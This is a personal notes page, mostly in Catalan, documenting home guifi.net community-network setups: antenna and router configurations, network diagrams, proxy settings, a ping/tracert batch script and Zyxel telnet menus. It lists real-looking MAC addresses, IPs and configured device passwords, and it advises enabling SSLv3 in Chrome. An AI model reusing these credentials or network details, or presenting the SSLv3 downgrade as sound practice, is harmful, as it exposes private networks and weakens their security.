00:22:68:1F:D0:E4 - W500 lan 00:21:6A:B6:CD:56 - W500 wifi [ipconfig /all, ip = 192.168.1.39] 14:BB:6E:31:93:20 - TV UE55 JY 6500 [Menu, Red, Mostrar, ip = 192.168.1.37] 40:4A:03:AF:5B:FB - old Zyxel 40:4A:03:B1:DB:98 - new Zyxel 44:74:6C:D1:9A:08 - sony Xperia sag 44:A7:CF:37:F3:F7 - LG-P500 sag 54:EE:56:C0:00:01 - T550 lan 60:57:18:6B:44:7D - T550 wifi 6C:88:14:0E:D5:E0 - T430 Sebas 94:E9:79:91:AE:29 - Swift irina [ip = 192.168.1.42] B8:27:EB:12:C7:01 - Raspberry "odin" wifi [ifconfig wlan0, ip = 192.168.1.123] C0:56:27:03:29:18 - Belkin lan/wlan C0:56:27:03:29:19 - Belkin wan D8:C4:6A:B1:D4:FA - Samsung S7 wifi [settings, about device, status, ip = 192.168.1.36] F0:7B:CB:11:F2:5C - Arcadi Acer ? - Asus Nicolau
Esquema de la meva ferralla actual
<<< 10.139.130.69 (AP1) {gw 10.130.130.65} <<< 10.139.130.117 (AP3) {gw 10.130.130.97} .-----------​​--​​-​​​-​​--. .---------------. <<< 192.168.1.219 | ​​ ​​ ​​​ ​​​| | | 192.168.2.1 >>> | Antena ​​ ​​ ​ ​ ​​​ ​| ​ .-----. ​ ​LAN​ | Router | LAN​ WAN .---------------. LAN .--------. | NanoStati​​on​​ ​5​ ​​| === | PoE | ==== | ZyXel | =======.======= | Belkin | ======= | w7 | | ​​ ​​ ​​ | .-----. | | ! .---------------. .--------. | ​​ ​​ ​​ | | | ! def IP 192.168.2.1 IP = 192.168.2.2 .-------------​​-​​-​​-​​-. .---------------. ! GW = 192.168.2.1 ! DNS = 192.168.2.1 Default values Default values ! .---------------. IP = 192.168.1.20 ; IP = 192.168.1.1 ; .======= | W7 | u/p = ubnt/ubnt ; u/p = ​1234/​1234 ; .---------------. Configured values Configured values Configured values IP = 192.168.1.1 >>> IP = 192.168.1.2 ; IP = 192.168.1.99 ; u/p = root/guifi ; u/p = ​1234/mypwd [] Network Mask = 255.255.255.0 ; {use IE v6 or wget} Default Gateway = 192.168.1.1 ; DHCP = si DHCP = no DNS = 192.168.1.1 / 8.8.8.8 ;
NanoStation 5

És bàsic que l'antena tingui senyal del Campanar i es pugui veure des un browser:

nano5

Atenció : els LEDs (físics i virtuals) no s'iluminen si no hi ha "associació" de l'antena amb el node

Atenció : l'associació de l'antena amb el super-node es fa en el moment de carregar el fitxer de configuració a l'antena

Firmware

Firmware version : XS5.ar2313.v3.5.4494.091109.1459 {SAG}, XS5.ar2313.v4.0.4974.110823.1731 {LL.M.}

NS5 + Chrome i SSL

Si en accedir a la NS5 el Chrome "47.0.2526.73 m" ens diu

A secure connection cannot be established because this site uses an unsupported protocol. ERR_SSL_VERSION_OR_CIPHER_MISMATCH

Change Chrome advanced flags to support SSL v3.0 :

  1. in the Chrome address bar type: chrome://flags
  2. scroll down to Minimum SSL/TLS version supported and change it to SSLv3
  3. restart chrome

Ara diu
Protocolo no admitido El cliente y el servidor no son compatibles con la misma versión de protocolo SSL o de cifrado.

NS5 + Firefox security

En la mateixa IP (NS5, 192.168.1.1), Firefox "Nightly 45.0a1" diu

Firefox cannot guarantee the safety of your data on 192.168.1.1 because it uses SSLv3, a broken security protocol. Advanced info: ssl_error_unsupported_version

Tambe Firefox 41.0 at Ubuntu 14

IE 11.0.9600.18097 : Turn on TLS 1.0, TLS 1.1, and TLS 1.2 in Advanced settings and try connecting to https://192.168.1.1 again. If this error persists, contact your site administrator.

VM(xp_min) : IE 6.0.2900.5512 : All OK

Altres error usuals

ERR_SSL_PROTOCOL_ERROR

Un altre :

SSL server probably obsolete. ERR_SSL_FALLBACK_BEYOND_MINIMUM_VERSION
Telnet

Podem fer telnet a la nano:

c:\> telnet 10.139.130.nn NodeSebastiaNetRd1 login: root Password: BusyBox v1.01 (2009.11.09-13:03+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. XS5.ar2313.v3.5.4494.091109.1459# ls -al drwxr-xr-x 1 root admin 1230 Nov 9 13:05 bin drwxrwxrwt 3 root admin 900 Jan 1 2000 dev lrwxrwxrwx 1 root admin 7 Nov 9 13:05 etc -> var/etc drwxr-xr-x 1 root admin 453 Nov 9 13:05 lib -rwxr-xr-x 1 root admin 3502 Nov 9 13:05 linuxrc dr-xr-xr-x 25 root admin 0 Jan 1 2000 proc lrwxrwxrwx 1 root admin 3 Nov 9 13:05 sbin -> bin lrwxrwxrwx 1 root admin 7 Nov 9 13:05 tmp -> var/tmp drwxr-xr-x 1 root admin 26 Nov 9 13:05 usr drwxrwxrwt 6 root admin 120 Jan 1 2000 var XS5.ar2313.v3.5.4494.091109.1459#

O no ?

c:\> telnet 10.139.238.nnn Connecting To 10.139.238.nnn...Could not open connection to the host, on port 23: Connect failed
NanoBeam Ubiquiti NBE-M5-16, or NaneBeam M5 16

Homepage. Datasheet. Throughput 150+ Mbps, Range 10+ km
Power supply : 24V, 0.5A PoE

Buy at

Document configuració : 20161014_NanoBeam_M5.docx {sagpdf} [] @ guifi : documentacio instalacio i configuracio d'una antena NanoBeam Ubiquiti NBE-M5-16

Bridge mode versus Router mode

Bridge Mode

Router Mode

user's guide

Reset values to default

Press and hold the Reset button for eight seconds and then release it

User's guide v5 v6

Port Forwarding

Volem portar els accessos des la xarxa guifi a la meva antena (ip 10.139.130.117) via el port 3002 cap al meu T60 (ip fixe 192.168.1.60) on hi haura una APP, al port 3001.
Així la URL que ha de fer servir un client de la xarxa guifi es http://10.139.130.117:3002

Configurem

Interface Private IP Private Port Type Source IP/Mask Public IP/Mask Public Port WLAN0 192.168.1.60 3001 TCP 0.0.0.0/0 10.139.130.117/24 3002

... i ara piquem

  1. "Add" del PF
  2. "Change" a baix
  3. "Apply" a dalt

Port forwarding allows specific ports of the hosts on the local network to be forwarded to the external network (WAN).
PF available in Router or SOHO Router mode only.
In router mode the NanoBeam became the router for local network (LAN) and client on WLAN (WAN).

Com que no funciona, pregunto al foro : ubnt.com : "WLAN0", no "LAN0"

AirOS v5 user's guide :

Telnet / ssh

Can't use telnet anymore, but ssh is working :

C:\> ssh ubnt@192.168.1.1 ubnt@192.168.1.1's password: KM ,ok0KNWW KM :NMMMMMMMM KM .. WMMMMMMMMM KM KM WMMMMMMMMM KM KM WMMMMMMMMM KM KM .. WMMMMMMMMM KM .. KM WMMMMMMMMM KM KM KM WMMMMMMMMM KMNXWM KM WMMMMMMMMK KMMMMMKONM WMMMMMMMW KMMMMMMMMM WMMMMMMM x lMMMMMMMMM WMMMMMN xK MMMMMMMMMl ,WMMMP dXM: lMMMMMMMMx . ,,,aaadXMMd lNMMMMMMW: XOxolcclodOKMMMMWc lXMMMMMNc lMMMMMMMMMMMMNo. llONMMM0c lMMMMMMNOo' 'lMN;. lMWl' BusyBox v1.11.2 (2015-07-16 11:45:19 EEST) built-in shell (ash) Enter 'help' for a list of built-in commands. XW.v5.6.2# help Built-in commands: ------------------- . : [ [[ alias bg break cd chdir command continue echo eval exec exit export false fg getopts hash help jobs kill let local printf pwd read readonly return set shift source test times trap true type ulimit umask unalias unset wait XW.v5.6.2# XW.v5.6.2# uname -a Linux NodeSebastiaNetRd1 2.6.32.65 #1 Thu Jul 16 11:50:24 EEST 2015 mips unknown
Problemes DNS

{Israel Antunez} Li recomanem que, si te configurat aquest proxy, el canvii pel del punt omnia ip: 10.139.238.194, port: 3128

{Carlos Vargas} Mentre dura aquest incident, us aconsellem que utilitzeu el proxy del Punt Omnia, 10.139.238.194

Ferralla d'en Jordi, el millor
<<< 10.139.239.67 .-----------​​--​​-​​​-​​--. .---------------. .---------------. .--------------. | | | | | | | | | Antena | ​ .-----. ​ ​ ​ | TP Link | | TP Link | wifi | PC/XP | | NanoBeam M5​ ​​| ======= | PoE | ======= | (in) | ==== | (out) | -.-.-.-.- | | | 16 dBi | .-----. | AV200 Mbps | | AV200 Mbps | | | | | | | | i wifi | | | .-------------​​-​​-​​-​​-. .---------------. .---------------. .--------------. Default values IP = 192.168.1.20 ; u/p = ubnt/ubnt ; Configured values Configured values IP = 192.168.1.1 IP = dynamic u/p = ubnt/ubnt ;
Ferralla d'en Lluis, en Balta i en Andreu

El router/AP és un Evo-W54ARv2. Hem escrit un document de com es configura : W500\\guifi\lluis\Configuracio_del_router_OvisLink_per_guifi.docx {sagpdf}.

Per fer-li un "reset", cal :

  1. turn on the AP power
  2. press and hold the "Reset" button for 10 seconds
  3. release the "Reset" button and wait the router to reboot

Llavors agafa la IP 192.168.1.1 i usr/pwd "admin/admin"

Els seus llums frontals son:

<<< 10.139.130.100 IP = 192.168.0.1 .-----------------. .----------------. <<< 192.168.1.162 (dhcp) >>> 192.168.2.1 | | | | .-----------------------------------------. | Antena | | TP | =========== | Ovis Lluis | | NanoStation 5 | ===== | Link | .-----------------------------------------. | | | | .-----------------. | | <<< 192.168.1.173 (dhcp) >>> 192.168.3.1 | | .-----------------------------------------. >>> IP = 192.168.1.254 | | =========== | Ovis Balta | ! dGW pels Ovis ! | | .-----------------------------------------. .----------------.

El seu router te problemes

Es el realitzador de un bon programa : Les Caixes de Amsterdam. Visita la casa d'en Néstor Majnó (min 39). Chomski al minut 16.

Ferralla d'en Carlos Cornella, TDLMontserratroig22a
<<< 10.139.239.66 .-----------​​--​​-​​​-​​--. .---------------. | | | | | Antena | .-----. ​WAN​ | ​​Router | LAN​ .--------. | NanoStati​​on​​ ​5​ | === | PoE | ==== | <fabricant>​ | ======== | ​XP ​| | | .-----. | | .--------. | | | | ​ ​ IP = 192.168.​8.20 .-------------​​-​​-​​-​​-. .---------------. GW = 192.168.​8.111​ DNS = ​8.8.8.8​ Default values Default values 10.139.130.34 IP = 192.168.1.20 ; IP = 192.​​168.​​0​.1 ; u/p = ubnt/ubnt ; u/p = ​​?​/​​​?​ ; ​​ Configured values Configured values IP = 192.168.8.111 ​ ​ IP = ​? ; u/p = root/guifi ; u/p = ​?/? ;
Ferralla de la Gloria, TDLRafaelCasanova20
<<< 10.139.130.116 .-----------​​--​​-​​​-​​--. .---------------. | ​​ ​​ ​​​ ​​​| | | | Antena ​​ ​​ ​ ​ ​​​ ​| ​ .-----. ​ ​WAN​ | ​​Router | LAN​ .--------. | TP-LINK ​​| === | PoE | ==== | TP-LINK | ======== | W10 | | TL WA7501N | .-----. | TD W8970 | .--------. | ​​ ​​ ​​ | | | ​ ​ IP = 192.168.​1.100 .-------------​​-​​-​​-​​-. .---------------. GW = 192.168.​1.1 DNS = ​8.8.8.8​ Default values Default values IP = 192.168.1.254 IP = 192.​​168.1​.1 u/p = admin/admin u/p = ​​admin/admin Configured values Configured values IP = 192.168.0.1 ​ ​ IP WAN = ​192.168.0.2 IP WLAN = 10.139.130.116/27

El ruter és un "300Mbps Wireless N Gigabit ADSL2+ Modem Router - Model No. TD-W8970"

L'antena és una "5GHz 150Mbps Indoor/Outdoor Wireless Access Point - Model No. TL-WA7510N". Manual
No sabem on posar la IP de guifi.
Aquestos dos paios el posen en modus "WISP client router" : 1, 2 : Configura la WAN de la TPL con la IP estática de Guifinet que le corresponda.
Pregunta al foro guifi, grup

M'agrada mes d'aqui

(*) Operation Mode -> Standard AP -> Save (*) Wireless Settings: -> Operation Mode -> Client -> Search -> (buscar y anotar el supernodo) -> SSID -> (supernodo) -> MAC of AP -> (supernodo) -> Save

Ens conectem a 00-27-22-9A-5E-FA / guifi.net-TDLCmpnrAP3

Document generat : w500\\guifi\gloria\ 201608_Guifi_Gloria.docx {sagpdf}

Ferralla del Albert
<<< 10.139.239.69 .-----------​​--​​-​​​-​​--. .---------------. | ​​ ​​ ​​​ ​​​| | | | Antena ​​ ​​ ​ ​ ​​​ ​| ​ .-----. ​ ​WAN​ | ​​Router | LAN​ .--------. | NanoBeam M5 16 ​​| === | PoE | ==== | Eminent | ======== | W10 | | | .-----. | EM4544 | .--------. | ​​ ​​ ​​ | | | ​ ​ IP = 192.168.​1.100 .-------------​​-​​-​​-​​-. .---------------. GW = 192.168.​1.1 DNS = ​8.8.8.8​ Default values IP = 192.168.1.1 IP = 192.​​168.8.1 u/p = ​​admin/admin
Serveis
FTP

OK Filezilla client 3.3.5.1
s'ha de configurar el Proxy amb Squid.

Filezilla 3.2.7.1 : Edita, Paràmetres, Connexió, Servidor Intermediari Genéric, marcar tipus HTTP 1.1, IP+port+usr+pwd.
Te bajas el ultimo Filezilla Client (3.3.5.1) de aki : url
Lo arrancas y vas a : edit, settings, connection, "generic proxy", escoges HTTP/1.1 using CONNECT, pones nuestro proxy:puerto y luego user:pwd.
Total Commander 7.55a, File Manager amb FTP integrat, con el modo FTP on HTTP.

wget

WGET : fer un CMD que contingui

echo "WGET per Guifi.net de la url (" %1 ")." set http_proxy=http://proxy.torrelles.guifi.net:3128 c:\eines\WGET.EXE --proxy-user=usuari.guifi --proxy-passwd=clau.guifi %1
VPN

VPN ?

http://80.32.135.160/ - no hi arriba (VPN bisc tfca). OK == Connection refused.
http://213.229.144.190/ - no hi arriba (VPN bisc colt). OK == Connection refused.

IM = Instant Messanging

Messenger - si "v 2009"
Ir a IE : cfg proxy:port Ir a Messenger : Herramientas, Opciones, Conexion, Configuraciones Avanzadas. Ver proxy y puerto de IE + poner usr+pwd

Alternatives : pidgin - universal chat client : homepage; AMSN ; Browser based : eBuddy.

Skype

SkyPe - si "v 5.0.0.152"

Remote Desktop

Remote Desktop o escriptori remot per proxy : TeamViewer.

With TeamViewer you can remotely control any computer as if you were sitting right in front of it - even through firewalls. All your partner has to do is start a small application, which does not even require installation or administrative rights. No installation is required, just run the application on both sides and connect - even through tight firewalls.

Spotify

Spotify ?
Abrimos Spotify y nos vamos a Edit > Preferences. En la parte de Proxy seleccionamos HTTP, e ingresamos la direccion y el puerto. No olvidar presionar Apply para guardar los cambios. Reiniciamos el programa.
Confirmacio : url
Alternativa : http://listen.grooveshark.com/, as "Jamendo/Magnatune" at Ubuntu ... {Francisco says}

WinAmp

WinAmp - si "v 5.56" : General Preferences + usr:pwd@10.139.130.34:3128
Radio Paradise

Troubleshooting
  1. ping 192.168.1.2 (router)
  2. ping 192.168.1.1 (nanostation)
  3. ping 10.139.130.69 (own)
  4. ping 10.139.130.65 (GateWay) []
  5. ping 10.139.130.34 (DNS)
  6. ping 10.139.130.34 (proxy.torrelles.guifi.net) + telnet port 3128
  7. ping 10.139.238.194 (punt Omnia)
  8. ping 88.17.203.10 (own, external IP)

He muntat un Smokeping, sistema que momitoritza la qualitat del enlaç. Tambe tinc un MRTG recollint dades.

Troubleshooting guifi, PI.CMD
@echo off set NUM=10 if .%1. == .+. goto bucdns if .%1. == .-. goto bucncsi if .%1. == .t. goto buctracert if .%1. == .0. goto bucping if .%1. == .?. goto ajuda :========================================================== :bucle time /t ping www.google.com -n %NUM% goto bucle :========================================================== :bucdns netsh int ipv4 show interfaces :bucdns2 nslookup www.google.es goto bucdns2 :========================================================== :bucncsi nslookup dns.msftncsi.com goto bucncsi :========================================================== :buctracert echo #### #### #### #### #### #### #### #### ruta des casa meva fins la xarxa time /t tracert -d 8.8.4.4 ping -n 1 -w 900 8.8.4.4 curl -s icanhazip.com cls goto buctracert :========================================================== :bucping ping www.google.com -t goto bucping :========================================================== :ajuda netsh int ipv4 show interfaces echo nothing = PING GOOGLE -N 10 echo + = hw i NSLOOKUP Google echo - = NSLOOKUP MS-FT-NCSI echo t = TRACERT 8.8.4.4 echo 0 = PING GOOGLE -T echo ? = netsh int ipv4 show interfaces :fin
Zyxel MAC filter & signal strength

Nice page: comandos router Zyxel

c:\> telnet 192.168.1.2 Copyright (c) 1994 - 2006 ZyXEL Communications Corp. P-660HW-D1 Main Menu Getting Started Advanced Management 1. General Setup 21. Filter Set Configuration 2. WAN Backup Setup 22. SNMP Configuration 3. LAN Setup 23. System Security (change pwd here) 4. Internet Access Setup 24. System Maintenance (change signal strenght here) 25. IP Routing Policy Setup Advanced Applications 26. Schedule Setup 11. Remote Node Setup 12. Static Routing Setup 14. Dial-in User Setup 99. Exit 15. NAT Setup Menu 1 - General Setup System Name= ? Location= Contact Person's Name= Domain Name= Edit Dynamic DNS= No Route IP= Yes Bridge= No Menu 3 - LAN Setup 1. LAN Port Filter Setup 2. TCP/IP and DHCP Setup 5. Wireless LAN Setup Menu 3.2 - TCP/IP and DHCP Setup DHCP Setup DHCP= None Client IP Pool Starting Address= N/A Size of Client IP Pool= N/A Primary DNS Server= 80.58.61.250 Secondary DNS Server= 80.58.61.254 Remote DHCP Server= N/A TCP/IP Setup: IP Address= 192.168.1.2 IP Subnet Mask= 255.255.255.0 RIP Direction= Both Version= RIP-2B Multicast= IGMP-v2 IP Policies= Edit IP Alias= No Menu 3.5- Wireless LAN Setup Key Auto-generation= N/A ESSID= WLAN_GAS Hide ESSID= No Channel ID= CH09 2452MHz RTS Threshold= 2432 Frag. Threshold= 2432 WEP= N/A Default Key= N/A Key1= N/A Key2= N/A Key3= N/A Key4= N/A Edit MAC Address Filter= No Menu 3.5.1 - WLAN MAC Address Filter Active= No Filter Action= Allowed Association ------------------------------------------------------------------------------ 1= 00:10:a7:2c:42:1a 13= 00:00:00:00:00:00 25= 00:00:00:00:00:00 2= 00:00:00:00:00:00 14= 00:00:00:00:00:00 26= 00:00:00:00:00:00 3= 00:00:00:00:00:00 15= 00:00:00:00:00:00 27= 00:00:00:00:00:00 4= 00:00:00:00:00:00 16= 00:00:00:00:00:00 28= 00:00:00:00:00:00 5= 00:00:00:00:00:00 17= 00:00:00:00:00:00 29= 00:00:00:00:00:00 6= 00:00:00:00:00:00 18= 00:00:00:00:00:00 30= 00:00:00:00:00:00 7= 00:00:00:00:00:00 19= 00:00:00:00:00:00 31= 00:00:00:00:00:00 8= 00:00:00:00:00:00 20= 00:00:00:00:00:00 32= 00:00:00:00:00:00 9= 00:00:00:00:00:00 21= 00:00:00:00:00:00 10= 00:00:00:00:00:00 22= 00:00:00:00:00:00 11= 00:00:00:00:00:00 23= 00:00:00:00:00:00 12= 00:00:00:00:00:00 24= 00:00:00:00:00:00 ------------------------------------------------------------------------------ Enter here to CONFIRM or ESC to CANCEL: Press Space Bar to Toggle. Menu 4 - Internet Access Setup ISP's Name= MyISP Encapsulation= PPPoE Multiplexing= LLC-based VPI #= 8 VCI #= 32 ATM QoS Type= UBR Peak Cell Rate (PCR)= 0 Sustain Cell Rate (SCR)= 0 Maximum Burst Size (MBS)= 0 My Login= adslppp@telefonicanetpa My Password= ******** Idle Timeout (sec)= 0 IP Address Assignment= Dynamic IP Address= N/A Network Address Translation= SUA Only Address Mapping Set= N/A Menu 23.4 - System Security - IEEE802.1x Wireless Port Control= Authentication Required ReAuthentication Timer (in second)= 1800 Idle Timeout (in second)= 3600 Key Management Protocol= WPA-PSK Dynamic WEP Key Exchange= N/A PSK= ******** WPA Mixed Mode= N/A WPA Broadcast/Multicast Key Update Timer= 1800 Authentication Databases= N/A Enter Menu Selection Number: 8 (after "24") Copyright (c) 1994 - 2006 ZyXEL Communications Corp. ras> dir Valid commands are: sys exit ether wan wlan ip ppp bridge bm lan radius 8021x ras> ras> wlan load ; cargar la configuración inalámbrica en el buffer para modificar ras> wlan power 1 ; [1:19dbm=79mW / 2:18dbm=63mW / 3:16dbm=39mW / 4:15dbm=31mW / 5:14dbm=25mW] ras> wlan save ; guarda los cambios realizados wlan: save ok ras> ras> wlan clear ; borra la configuración inalámbrica ras> wlan reset ; reinicia la WLAN ras> wlan active 1 ; enciende la red WIFI ras> wlan active 0 ; apaga la red WIFI ras> wlan load {20151231} ras> wlan display essid = WLAN_GAS2 chid = 9 hide essid = No RTS threshold = 2432 Frag threshold = 2432 WEP key type = none WEP default key = 1 MAC filter active = 0 MAC filter action = Allow index MAC address index MAC address -------------------------------------------------- 1 00:00:00:00:00:00 17 00:00:00:00:00:00 2 00:00:00:00:00:00 18 00:00:00:00:00:00 3 00:00:00:00:00:00 19 00:00:00:00:00:00 4 00:00:00:00:00:00 20 00:00:00:00:00:00 5 00:00:00:00:00:00 21 00:00:00:00:00:00 6 00:00:00:00:00:00 22 00:00:00:00:00:00 7 00:00:00:00:00:00 23 00:00:00:00:00:00 8 00:00:00:00:00:00 24 00:00:00:00:00:00 9 00:00:00:00:00:00 25 00:00:00:00:00:00 10 00:00:00:00:00:00 26 00:00:00:00:00:00 11 00:00:00:00:00:00 27 00:00:00:00:00:00 12 00:00:00:00:00:00 28 00:00:00:00:00:00 13 00:00:00:00:00:00 29 00:00:00:00:00:00 14 00:00:00:00:00:00 30 00:00:00:00:00:00 15 00:00:00:00:00:00 31 00:00:00:00:00:00 16 00:00:00:00:00:00 32 00:00:00:00:00:00 ras> wlan power outputpower <1-5: TX Power Level> ras>
OpSys 4 NS5

Openwrt 10.03 Backfire - lliure i altament personalitzable. Es fa servir per xarxa mesh (bàsicament una xarxa que funciona en mode ad-hoc i un protocol d'enrutament específic)

DD-WRT.

Squid proxy

Wiki.

c:\> telnet proxy.torrelles.guifi.net 3128 HTTP/1.0 400 Bad Request Server: squid/2.7.STABLE6 Date: Tue, 23 Aug 2011 20:31:06 GMT Content-Type: text/html Content-Length: 1316 X-Squid-Error: ERR_INVALID_REQ 0 X-Cache: MISS from torrelles.guifi.net X-Cache-Lookup: NONE from torrelles.guifi.net:3128 Via: 1.0 torrelles.guifi.net:3128 (squid/2.7.STABLE6) Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css"> <!-- %l body :lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; } :lang(he) { direction: rtl; float: right; } --> </style> </head> <body> <div id="titles"> <h1>ERROR</h1> <h2>The requested URL could not be retrieved</h2> </div> <hr> <div id="content"> <p><b>Invalid Request</b> error was encountered while trying to process the request:</p> <blockquote id="data"> <pre>jaja </pre> </blockquote> <p>Some possible problems are:</p> <ul> <li><p>Missing or unknown request method.</p></li> <li><p>Missing URL.</p></li> <li><p>Missing HTTP Identifier (HTTP/1.0).</p></li> <li><p>Request is too large.</p></li> <li><p>Content-Length missing for POST or PUT requests.</p></li> <li><p>Illegal character in hostname; underscores are not allowed.</p></li> </ul> <p>Your cache administrator is <a href="mailto:webmaster%W">webmaster</a>.</p> <br> </div> <hr> <div id="footer"> <p>Generated Tue, 23 Aug 2011 20:31:06 GMT by torrelles.guifi.net (squid/2.7.STABLE6)</p> <!-- ERR_INVALID_REQ --> </div> </body> </html> Se ha perdido la conexión con el host.
Firewall

MikroTik RouterOS v 2.5, Jul 2002

Usr admin, pwd <empty>.

kntrl
[]
Super node


Amunt! Top Amunt!
Movistar

Su Movistar Internet incluye:

Preu : 33,8843 €/mes - 11,6500 € (promoción Movistar Internet, durante 12 meses)

Router "equipo para acceso fibra óptica GPT-2541 GNAC 00412926". És un "Mitrastar". Cifrado : WPA2-PSK. Encriptación : AES.

W500 can connect to MOVISTAR_PLUS_BCD1 at 5 GHz.

seguiment myIP i velocitat a Movistar

SpeedTest o WhatIsMyIP o IPinfo diu :

20160318 - 88.1.200.218 20160319 - 83.50.48.155 20160402 - 88.7.220.132 20160410 - 88.7.220.132 20160425 - 88.7.220.132 20160516 - 88.16.67.1 {returning to enxaneta from wlangas2} 20160529 - 88.16.67.1 20160606 - 88.17.57.125 20160608 - 88.7.181.116 20160705 - 88.7.181.116 20160711 - 88.17.57.34 20160719 - 88.18.117.86 20161024 - 79.145.34.176 [73 Mbps de baixada, 32 de pujada] 20161028 - 79.145.34.176 {via Android !!! ???} 20161130 - 81.36.227.226 20170201 - 83.40.226.198 20170622 - 83.32.249.161, 118 Mbps down, 188 Mbps up 20170821 - 2.138.8.221, 98/96 {wifi "enx"} - 170/180 {wifi bcd1} - 281/283 {cable} 20171022 - 83.37.66.173 : enx 88/100, plus 206/233, cable 308/309
Trassa
c:\> tracert -d 1.2.3.4 {PLUS_BCD1} Tracing route to 1.2.3.4 over a maximum of 30 hops 1 183 ms 1 ms 2 ms 192.168.1.1 2 206 ms 2 ms 2 ms 10.139.130.97 3 216 ms * 8 ms 172.25.66.1 4 234 ms 5 ms 4 ms 172.25.51.178 5 25 ms 12 ms 13 ms 192.168.4.1 6 * * * Request timed out. 7 32 ms 9 ms 7 ms 80.58.67.116 8 216 ms 9 ms 10 ms 80.58.118.249 9 * * * Request timed out. C:\> tracert -d 1.2.3.4 {BCD1} Tracing route to 1.2.3.4 over a maximum of 30 hops 1 2 ms 2 ms 3 ms 192.168.1.1 2 42 ms 5 ms 4 ms 192.168.144.1 3 7 ms 7 ms 6 ms 80.58.121.233 81.46.131.33 {20160402} 81.46.112.173 {20161130} 4 * * * Request timed out.
Administració router
Restaurar a valores de fábrica

Con el router encendido, presionar el botón Reset (último a la derecha por detrás) durante al menos 10 segundos. Transcurridos 90 segundos, el router tendrá los valores de fábrica de nuevo.


Appendix: 802.11b demystified

BSS = Basic Service Set
A cell of stations which may or may not have an access point. A "coordination function" acts as collision detection.

IBSS = Independent Basic Service Set
A self-contained BSS with no access point, one of the members can assume the "coordination function". This is the 802.11 peer-to-peer mode of operation also known as Ad-Hoc mode. Only one wireless "cell" is supported for each different SSID. All communication is done from Client to Client without the use of an Access Point. Clients use the same SSID for establishing the wireless connection.

SSID = Service Set Identifier
A 32 octet-long network name; exactly one per ESS or IBSS.

Infrastructure mode = Managed mode
This mode of operation requires the presence of an 802.11 Access Point. All communication is done via the Access Point which relays packets to other wireless Clients in the BSS as well as to nodes on a wired network such as Ethernet.

ESS = Extended Service Set
A set of one or more interconnected BSSes. All traffic flows through an access point.

BSSID
6 octet cell identifier for a BSS. Value is the same as access point MAC address. Used in iwconfig for the cell value.

Origin URL  



WiFi vs BlueTooth

Amunt! Top Amunt!

wifi specs

2.462.000 KHz = 2.462 MHz = 2,462 GHz

wiki wifi

bluetooth specs

A Bluetooth device playing the role of the "master" can communicate with up to 7 devices playing the role of the "slave". This network of "group of up to 8 devices" (1 master + 7 slaves) is called a piconet.
Every device has a unique 48-bit address. Every device also has a 24-bit class identifier.

Air interface

The protocol operates in the license-free ISM band at 2.45 GHz. In order to avoid interfering with other protocols which use the 2.45 GHz band, the Bluetooth protocol divides the band into 79 channels (each 1 MHz wide) and changes channels up to 1600 times per second. Implementations with versions 1.1 and 1.2 reach speeds of 723.1 kbit/s. Version 2.0 implementations feature Bluetooth Enhanced Data Rate (EDR) , and thus reach 2.1 Mbit/s.
Technically version 2.0 devices have a higher power consumption, but the three times faster rate reduces the transmission times, effectively reducing consumption to half that of 1.x devices (assuming equal traffic load).

url

Bluetooth differs from Wi-Fi

The latter provides higher throughput and covers greater distances but requires more expensive hardware and higher power consumption. They use the same frequency range, but employ different multiplexing schemes. While Bluetooth is a cable replacement for a variety of applications, Wi-Fi is a cable replacement only for local area network access.

A glib summary is that Bluetooth is wireless USB, whereas Wi-Fi is wireless Ethernet, both operating at much lower bandwidth than the cable systems they are trying to replace.


How stuff works :
One of the ways Bluetooth devices avoid interfering with other systems is by sending out very weak signals of about 1 milliwatt ...
Bluetooth can connect up to eight devices simultaneously ...
Bluetooth uses a technique called spread-spectrum frequency hopping that makes it rare for more than one device to be transmitting on the same frequency at the same time. In this technique, a device will use 79 individual, randomly chosen frequencies within a designated range, changing from one to another on a regular basis. In the case of Bluetooth, the transmitters change frequencies 1,600 times every second, meaning that more devices can make full use of a limited slice of the radio spectrum. Since every Bluetooth transmitter uses spread-spectrum transmitting automatically, it's unlikely that two transmitters will be on the same frequency at the same time. This same technique minimizes the risk that portable phones or baby monitors will disrupt Bluetooth devices, since any interference on a particular frequency will last only a tiny fraction of a second.
When Bluetooth-capable devices come within range of one another, an electronic conversation takes place to determine whether they have data to share or whether one needs to control the other. The user doesn't have to press a button or give a command -- the electronic conversation happens automatically. Once the conversation has occurred, the devices -- whether they're part of a computer system or a stereo -- form a network. Bluetooth systems create a personal-area network (PAN), or piconet, that may fill a room or may encompass no more distance than that between the cell phone on a belt-clip and the headset on your head. Once a piconet is established, the members randomly hop frequencies in unison so they stay in touch with one another and avoid other piconets that may be operating in the same room.


Links

Mòbils

Amunt! Top Amunt!
  • Estandards
    • GSM
      Com va ? El canvi de frequencies en canviar de cel.lula ? El Roaming ?
      Teleco info, good intro.
      Com es fa una recàrrega ?
      • as CORTIX : arriba un missatge !
      • as usual : buy a card and enter the (large) code. Is anything sent before "saldo" is updated ?

      Com puc consultar el meu saldo per Internet ?

    • GPRS [General Packet Radio Service]

    • UMTS [Universal Mobile Telecommunications System]  
      Telefonia móvil de tercera generación.
      • España
        • Telefónica
        • Vodafone
        • Amena Auna - Oct 2004
        • Xfera
      • Francia
        • Orange (France Telecom)
        • SFR (Vivendi)
      • Alemania
        • T-Mobile (Deutsche Telekom)
        • Vodafone
        • Mobil COm (France Telecom)
        • 3G (Telefonica/Sonera)
        • E-Plus (KPN)
      • Italia
        • Telecom Italia Mobile
        • Omnitel (Vodafone)
        • Wind (France Telecom)
        • Telefonica PSE
        • Andala
      • Reino Unido
        • Vodafone [CDM ???]
        • TIW
        • Orange
        • British Telecom
        • Onezone
    • HDSPA (Feb 2006)

  • USA (millones de clientes)
    • Verizon Wireless : 36
    • Cingular : 23,4 [GSM] (1) unides el 18/Feb/2004
    • AT&T wireless : 21,9 [GSM] (1)
    • Sprint : 15,5
    • Nextel : 12,3
    • T-mobile : 12,1

  • Operadors mundials [9/3/2004]
    1. China Mobile
    2. Vodaphone
    3. China Unicom
    4. TEM + BSLA : 62,5 millons
    5. T-Mobile
    6. Orange
    7. NTT DoComo
    8. Cingular + AT&T Wireless

  • alliberació

